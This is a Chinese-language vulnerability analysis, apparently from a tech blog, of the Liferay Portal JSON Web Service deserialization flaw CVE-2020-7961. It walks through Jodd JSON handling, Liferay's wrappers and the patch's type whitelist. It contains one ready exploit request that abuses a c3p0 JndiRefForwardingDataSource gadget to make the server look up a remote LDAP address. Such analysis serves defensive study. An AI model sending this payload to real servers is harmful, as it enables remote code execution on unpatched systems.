溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

發(fā)布時間:2021-12-14 14:08:45 來源:億速云 閱讀:124 作者:柒染 欄目:網(wǎng)絡(luò)安全

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

Liferay Portal對于JSON Web Service的處理,在6.1、6.2版本中使用的是 Flexjson庫,在7版本之后換成了Jodd Json。

總結(jié)起來該漏洞就是:Liferay Portal提供了Json Web Service服務(wù),對于某些可以調(diào)用的端點,如果某個方法提供的是Object參數(shù)類型,那么就能夠構(gòu)造符合Java Beans的可利用惡意類,傳遞構(gòu)造好的json反序列化串,Liferay反序列化時會自動調(diào)用惡意類的setter方法以及默認構(gòu)造方法。不過還有一些細節(jié)問題,感覺還挺有意思,作者文中那張向上查找圖,想著idea也沒提供這樣方便的功能,應(yīng)該是自己實現(xiàn)的查找工具,文中分析下Liferay使用JODD反序列化的情況。

JODD序列化與反序列化

參考官方使用手冊,先看下JODD的直接序列化與反序列化:

TestObject.java

package com.longofo;import java.util.HashMap;public class TestObject {
    private String name;
    private Object object;
    private HashMap<String, String> hashMap;

    public TestObject() {
        System.out.println("TestObject default constractor call");
    }

    public String getName() {
        System.out.println("TestObject getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("TestObject setName call");
        this.name = name;
    }

    public Object getObject() {
        System.out.println("TestObject getObject call");
        return object;
    }

    public void setObject(Object object) {
        System.out.println("TestObject setObject call");
        this.object = object;
    }

    public HashMap<String, String> getHashMap() {
        System.out.println("TestObject getHashMap call");
        return hashMap;
    }

    public void setHashMap(HashMap<String, String> hashMap) {
        System.out.println("TestObject setHashMap call");
        this.hashMap = hashMap;
    }

    @Override
    public String toString() {
        return "TestObject{" +
                "name='" + name + '\'' +
                ", object=" + object +
                ", hashMap=" + hashMap +
                '}';
    }}

TestObject1.java

package com.longofo;public class TestObject1 {
    private String jndiName;

    public TestObject1() {
        System.out.println("TestObject1 default constractor call");
    }

    public String getJndiName() {
        System.out.println("TestObject1 getJndiName call");
        return jndiName;
    }

    public void setJndiName(String jndiName) {
        System.out.println("TestObject1 setJndiName call");
        this.jndiName = jndiName;//        Context context = new InitialContext();//        context.lookup(jndiName);
    }}

Test.java

package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {
    public static void main(String[] args) {
        System.out.println("test common usage");
        test1Common();

        System.out.println();
        System.out.println();

        System.out.println("test unsecurity usage");
        test2Unsecurity();
    }

    public static void test1Common() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap<String, String>();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
        System.out.println(dtestObject);
    }

    public static void test2Unsecurity() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap<String, String>();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
        System.out.println(dtestObject);
    }}

輸出:

test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

在Test.java中,使用了兩種方式,第一種是常用的使用方式,在反序列化時指定根類型(rootType);而第二種官方也不推薦這樣使用,存在安全問題,假設(shè)某個應(yīng)用提供了接收JODD Json的地方,并且使用了第二種方式,那么就可以任意指定類型進行反序列化了,不過Liferay這個漏洞給并不是這個原因造成的,它并沒有使用setClassMetadataName("class")這種方式。

Liferay對JODD的包裝

Liferay沒有直接使用JODD進行處理,而是重新包裝了JODD一些功能。代碼不長,所以下面分別分析下Liferay對JODD的JsonSerializer與JsonParser的包裝。

JSONSerializerImpl

Liferay對JODD JsonSerializer的包裝是com.liferay.portal.json.JSONSerializerImpl類:

public class JSONSerializerImpl implements JSONSerializer {
    private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer,最后還是交給了JODD的JsonSerializer去處理,只不過包裝了一些額外的設(shè)置

    public JSONSerializerImpl() {
        if (JavaDetector.isIBM()) {//探測JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe類的使用有關(guān)
        }

        this._jsonSerializer = new JsonSerializer();
    }

    public JSONSerializerImpl exclude(String... fields) {
        this._jsonSerializer.exclude(fields);//排除某個field不序列化
        return this;
    }

    public JSONSerializerImpl include(String... fields) {
        this._jsonSerializer.include(fields);//包含某個field進行序列化
        return this;
    }

    public String serialize(Object target) {
        return this._jsonSerializer.serialize(target);//調(diào)用JODD的JsonSerializer進行序列化
    }

    public String serializeDeep(Object target) {
        JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//設(shè)置了deep后能序列化任意類型的field,包括集合等類型
        return jsonSerializer.serialize(target);
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//設(shè)置轉(zhuǎn)換器,和下面的設(shè)置全局轉(zhuǎn)換器類似,不過這里可以傳入自定義的轉(zhuǎn)換器(比如將某個類的Data field,格式為03/27/2020,序列化時轉(zhuǎn)為2020-03-27)
        TypeJsonSerializer<?> typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
        TypeJsonSerializer<?> typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    static {
        //全局注冊,對于所有Array、Object、Long類型的數(shù)據(jù),在序列化時都進行轉(zhuǎn)換單獨的轉(zhuǎn)換處理
        JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
        JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
    }

    private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {
        private LongToStringTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, Long value) {
            jsonContext.writeString(String.valueOf(value));
        }
    }

    private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {
        private JSONObjectTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
            jsonContext.write(jsonObject.toString());
        }
    }

    private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {
        private JSONArrayTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
            jsonContext.write(jsonArray.toString());
        }
    }}

能看出就是設(shè)置了JODD JsonSerializer在序列化時的一些功能。

JSONDeserializerImpl

Liferay對JODD JsonParser的包裝是com.liferay.portal.json.JSONDeserializerImpl類:

public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {
    private final JsonParser _jsonDeserializer;//JsonParser,反序列化最后還是交給了JODD的JsonParser去處理,JSONDeserializerImpl包裝了一些額外的設(shè)置

    public JSONDeserializerImpl() {
        if (JavaDetector.isIBM()) {//探測JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe類的使用有關(guān)
        }

        this._jsonDeserializer = new PortalJsonParser();
    }

    public T deserialize(String input) {
        return this._jsonDeserializer.parse(input);//調(diào)用JODD的JsonParser進行反序列化
    }

    public T deserialize(String input, Class<T> targetType) {
        return this._jsonDeserializer.parse(input, targetType);//調(diào)用JODD的JsonParser進行反序列化,可以指定根類型(rootType)
    }

    public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化時使用的轉(zhuǎn)換器
        ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
        this._jsonDeserializer.use(field, valueConverter);
        return this;
    }

    public JSONDeserializer<T> use(String path, Class<?> clazz) {
        this._jsonDeserializer.map(path, clazz);//為某個field指定具體的類型,例如file在某個類是接口或Object等類型,在反序列化時指定具體的
        return this;
    }}

能看出也是設(shè)置了JODD JsonParser在反序列化時的一些功能。

Liferay 漏洞分析

Liferay在/api/jsonws API提供了幾百個可以調(diào)用的Webservice,負責(zé)處理的該API的Servlet也直接在web.xml中進行了配置:

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

隨意點一個方法看看:

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

看到這個有點感覺了,可以傳遞參數(shù)進行方法調(diào)用,有個p_auth是用來驗證的,不過反序列化在驗證之前,所以那個值對漏洞利用沒影響。根據(jù)CODE WHITE那篇分析,是存在參數(shù)類型為Object的方法參數(shù)的,那么猜測可能可以傳入任意類型的類??梢韵日5淖グ{(diào)用去調(diào)試下,這里就不寫正常的調(diào)用調(diào)試過程了,簡單看一下post參數(shù):

cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

總的來說就是Liferay先查找/announcementsdelivery/update-delivery對應(yīng)的方法->其他post參數(shù)參都是方法的參數(shù)->當(dāng)每個參數(shù)對象類型與與目標(biāo)方法參數(shù)類型一致時->恢復(fù)參數(shù)對象->利用反射調(diào)用該方法。

但是抓包并沒有類型指定,因為大多數(shù)類型是String、long、int、List、map等類型,JODD反序列化時會自動處理。但是對于某些接口/Object類型的field,如果要指定具體的類型,該怎么指定?

作者文中提到,Liferay Portal 7中只能顯示指定rootType進行調(diào)用,從上面Liferay對JODD JSONDeserializerImpl包裝來看也是這樣。如果要恢復(fù)某個方法參數(shù)是Object類型時具體的對象,那么Liferay本身可能會先對數(shù)據(jù)進行解析,獲取到指定的類型,然后調(diào)用JODD的parse(path,class)方法,傳遞解析出的具體類型來恢復(fù)這個參數(shù)對象;也有可能Liferay并沒有這樣做。不過從作者的分析中可以看出,Liferay確實這樣做了。作者查找了jodd.json.Parser#rootType的調(diào)用圖(羨慕這樣的工具):

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

通過向上查找的方式,作者找到了可能存在能指定根類型的地方,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl調(diào)用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize調(diào)用的是JSONSerializerImpl,JSONSerializerImpl調(diào)用的是JODD的JsonParse.parse。

com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的調(diào)用就是Liferay解析Web Service參數(shù)的過程了。它的上一層JSONWebServiceActionImpl#_prepareParameters(Class<?>),JSONWebServiceActionImpl類有個_jsonWebServiceActionParameters屬性:

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

這個屬性中又保存著一個JSONWebServiceActionParametersMap,在它的put方法中,當(dāng)參數(shù)以+開頭時,它的put方法以:分割了傳遞的參數(shù),:之前是參數(shù)名,:之后是類型名。

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成:

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

通過上面的分析與作者的文章,我們能知道以下幾點:

  • Liferay 允許我們通過/api/jsonws/xxx調(diào)用Web Service方法

  • 參數(shù)可以以+開頭,用:指定參數(shù)類型

  • JODD JsonParse會調(diào)用類的默認構(gòu)造方法,以及field對應(yīng)的setter方法

所以需要找在setter方法中或默認構(gòu)造方法中存在惡意操作的類。去看下marshalsec已經(jīng)提供的利用鏈,可以直接找Jackson、帶Yaml的,看他們繼承的利用鏈,大多數(shù)也適合這個漏洞,同時也要看在Liferay中是否存在才能用。這里用com.mchange.v2.c3p0.JndiRefForwardingDataSource這個測試,用/expandocolumn/add-column這個Service,因為他有java.lang.Object參數(shù):

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

Payload如下:

cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

解析出了參數(shù)類型,并進行參數(shù)對象反序列化,最后到達了jndi查詢:

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

補丁分析

Liferay補丁增加了類型校驗,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中:

如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {
        String parameterTypeName = parameterType.getName();
        if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay與Util非法
            throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
        } else if (!Objects.equals(targetClass, parameterType)) {//targetClass與parameterType不匹配時進入下一層校驗
            if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子類
                throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
            } else if (!parameterType.isPrimitive()) {//parameterType不是基本類型是進入下一層校驗
                if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校驗
                    if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名單校驗,白名單類在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
                        ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();
                        if (serviceReferences != null) {
                            String key = "jsonws.web.service.parameter.type.whitelist.class.names";
                            ServiceReference[] var7 = serviceReferences;
                            int var8 = serviceReferences.length;

                            for(int var9 = 0; var9 < var8; ++var9) {
                                ServiceReference<Object> serviceReference = var7[var9];
                                List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
                                if (whitelistedClassNames.contains(parameterTypeName)) {
                                    return;
                                }
                            }
                        }

                        throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
                    }
                }
            }
        }
    }

_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名單類在portal.properties中,有點長就不列出來了,基本都是以com.liferay開頭的類。

關(guān)于如何進行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI